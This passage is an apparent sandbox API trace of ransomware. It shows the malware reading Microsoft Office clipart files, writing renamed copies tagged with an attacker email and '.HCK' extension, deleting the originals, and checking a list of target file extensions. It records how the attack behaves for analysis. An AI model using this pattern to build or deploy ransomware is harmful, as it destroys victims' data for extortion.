lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0241.474] SetEndOfFile (hFile=0x558) returned 1 [0241.474] CloseHandle (hObject=0x558) returned 1 [0241.474] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.474] SetEndOfFile (hFile=0x54c) returned 1 [0241.477] CloseHandle (hObject=0x54c) returned 1 [0241.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182888.wmf")) returned 1 [0241.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.478] lstrlenW (lpString=".doc") returned 4 [0241.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.478] lstrlenW (lpString=".docx") returned 5 [0241.478] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0241.478] lstrlenW (lpString=".pdf") returned 4 [0241.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.478] lstrlenW (lpString=".xls") returned 4 [0241.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.478] lstrlenW (lpString=".xlsx") returned 5 [0241.478] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0241.478] lstrlenW (lpString=".ppt") returned 4 [0241.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.478] lstrlenW (lpString=".zip") returned 4 [0241.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.478] lstrlenW (lpString=".rar") returned 4 [0241.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.478] lstrlenW (lpString=".bz2") returned 4 [0241.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.478] lstrlenW (lpString=".7z") returned 3 [0241.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.478] lstrlenW (lpString=".dbf") returned 4 [0241.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.478] lstrlenW (lpString=".1cd") returned 4 [0241.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.478] lstrlenW (lpString=".jpg") returned 4 [0241.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.479] lstrlenW (lpString=".doc") returned 4 [0241.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.479] lstrlenW (lpString=".docx") returned 5 [0241.479] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0241.479] lstrlenW (lpString=".pdf") returned 4 [0241.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.479] lstrlenW (lpString=".xls") returned 4 [0241.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.479] lstrlenW (lpString=".xlsx") returned 5 [0241.479] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0241.479] lstrlenW (lpString=".ppt") returned 4 [0241.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.479] lstrlenW (lpString=".zip") returned 4 [0241.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.479] lstrlenW (lpString=".rar") returned 4 [0241.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.479] lstrlenW (lpString=".bz2") returned 4 [0241.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.479] lstrlenW (lpString=".7z") returned 3 [0241.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.479] lstrlenW (lpString=".dbf") returned 4 [0241.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.479] lstrlenW (lpString=".1cd") returned 4 [0241.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182888.WMF") returned 68 [0241.479] lstrlenW (lpString=".jpg") returned 4 [0241.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.479] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.479] lstrlenW (lpString="J0182898.WMF") returned 12 [0241.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.480] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=15150) returned 1 [0241.481] CloseHandle (hObject=0x54c) returned 1 [0241.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf")) returned 0x220 [0241.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.481] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.482] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0241.482] GetLastError () returned 0x0 [0241.482] ReadFile (in: hFile=0x54c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3b2e, lpOverlapped=0x0) returned 1 [0241.484] WriteFile (in: hFile=0x558, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3b30, lpOverlapped=0x0) returned 1 [0241.485] ReadFile (in: hFile=0x54c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.485] WriteFile (in: hFile=0x558, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0241.485] SetEndOfFile (hFile=0x558) returned 1 [0241.485] CloseHandle (hObject=0x558) returned 1 [0241.485] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.485] SetEndOfFile (hFile=0x54c) returned 1 [0241.488] CloseHandle (hObject=0x54c) returned 1 [0241.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182898.wmf")) returned 1 [0241.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.489] lstrlenW (lpString=".doc") returned 4 [0241.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.489] lstrlenW (lpString=".docx") returned 5 [0241.489] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0241.489] lstrlenW (lpString=".pdf") returned 4 [0241.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.489] lstrlenW (lpString=".xls") returned 4 [0241.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.489] lstrlenW (lpString=".xlsx") returned 5 [0241.489] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0241.489] lstrlenW (lpString=".ppt") returned 4 [0241.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.489] lstrlenW (lpString=".zip") returned 4 [0241.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.489] lstrlenW (lpString=".rar") returned 4 [0241.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.489] lstrlenW (lpString=".bz2") returned 4 [0241.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.489] lstrlenW (lpString=".7z") returned 3 [0241.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.489] lstrlenW (lpString=".dbf") returned 4 [0241.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.489] lstrlenW (lpString=".1cd") returned 4 [0241.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.489] lstrlenW (lpString=".jpg") returned 4 [0241.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.489] lstrlenW (lpString=".doc") returned 4 [0241.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.490] lstrlenW (lpString=".docx") returned 5 [0241.490] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0241.490] lstrlenW (lpString=".pdf") returned 4 [0241.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.490] lstrlenW (lpString=".xls") returned 4 [0241.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.490] lstrlenW (lpString=".xlsx") returned 5 [0241.490] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0241.490] lstrlenW (lpString=".ppt") returned 4 [0241.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.490] lstrlenW (lpString=".zip") returned 4 [0241.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.490] lstrlenW (lpString=".rar") returned 4 [0241.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.490] lstrlenW (lpString=".bz2") returned 4 [0241.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.490] lstrlenW (lpString=".7z") returned 3 [0241.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.490] lstrlenW (lpString=".dbf") returned 4 [0241.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.490] lstrlenW (lpString=".1cd") returned 4 [0241.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0241.490] lstrlenW (lpString=".jpg") returned 4 [0241.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.490] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.490] lstrlenW (lpString="J0182902.WMF") returned 12 [0241.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.491] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=7822) returned 1 [0241.491] CloseHandle (hObject=0x54c) returned 1 [0241.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf")) returned 0x220 [0241.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.492] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.492] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0241.492] GetLastError () returned 0x0 [0241.492] ReadFile (in: hFile=0x54c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1e8e, lpOverlapped=0x0) returned 1 [0241.494] WriteFile (in: hFile=0x558, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1e90, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1e90, lpOverlapped=0x0) returned 1 [0241.494] ReadFile (in: hFile=0x54c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.494] WriteFile (in: hFile=0x558, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0241.494] SetEndOfFile (hFile=0x558) returned 1 [0241.495] CloseHandle (hObject=0x558) returned 1 [0241.495] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.495] SetEndOfFile (hFile=0x54c) returned 1 [0241.496] CloseHandle (hObject=0x54c) returned 1 [0241.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182902.wmf")) returned 1 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.498] lstrlenW (lpString=".doc") returned 4 [0241.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.498] lstrlenW (lpString=".docx") returned 5 [0241.498] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0241.498] lstrlenW (lpString=".pdf") returned 4 [0241.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.498] lstrlenW (lpString=".xls") returned 4 [0241.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.498] lstrlenW (lpString=".xlsx") returned 5 [0241.498] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0241.498] lstrlenW (lpString=".ppt") returned 4 [0241.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.498] lstrlenW (lpString=".zip") returned 4 [0241.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.498] lstrlenW (lpString=".rar") returned 4 [0241.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.498] lstrlenW (lpString=".bz2") returned 4 [0241.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.498] lstrlenW (lpString=".7z") returned 3 [0241.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.498] lstrlenW (lpString=".dbf") returned 4 [0241.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.498] lstrlenW (lpString=".1cd") returned 4 [0241.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.498] lstrlenW (lpString=".jpg") returned 4 [0241.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.498] lstrlenW (lpString=".doc") returned 4 [0241.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.499] lstrlenW (lpString=".docx") returned 5 [0241.499] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0241.499] lstrlenW (lpString=".pdf") returned 4 [0241.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.499] lstrlenW (lpString=".xls") returned 4 [0241.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.499] lstrlenW (lpString=".xlsx") returned 5 [0241.499] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0241.499] lstrlenW (lpString=".ppt") returned 4 [0241.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.499] lstrlenW (lpString=".zip") returned 4 [0241.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.499] lstrlenW (lpString=".rar") returned 4 [0241.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.499] lstrlenW (lpString=".bz2") returned 4 [0241.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.499] lstrlenW (lpString=".7z") returned 3 [0241.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.499] lstrlenW (lpString=".dbf") returned 4 [0241.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.499] lstrlenW (lpString=".1cd") returned 4 [0241.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0241.499] lstrlenW (lpString=".jpg") returned 4 [0241.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.499] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.499] lstrlenW (lpString="J0182946.WMF") returned 12 [0241.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.500] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=16082) returned 1 [0241.500] CloseHandle (hObject=0x54c) returned 1 [0241.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf")) returned 0x220 [0241.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.501] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.501] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0241.501] GetLastError () returned 0x0 [0241.501] ReadFile (in: hFile=0x54c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3ed2, lpOverlapped=0x0) returned 1 [0241.733] WriteFile (in: hFile=0x558, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3ee0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3ee0, lpOverlapped=0x0) returned 1 [0242.093] ReadFile (in: hFile=0x54c, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.094] WriteFile (in: hFile=0x558, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.094] SetEndOfFile (hFile=0x558) returned 1 [0242.094] CloseHandle (hObject=0x558) returned 1 [0242.094] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.094] SetEndOfFile (hFile=0x54c) returned 1 [0242.097] CloseHandle (hObject=0x54c) returned 1 [0242.097] SetFileAttributesW 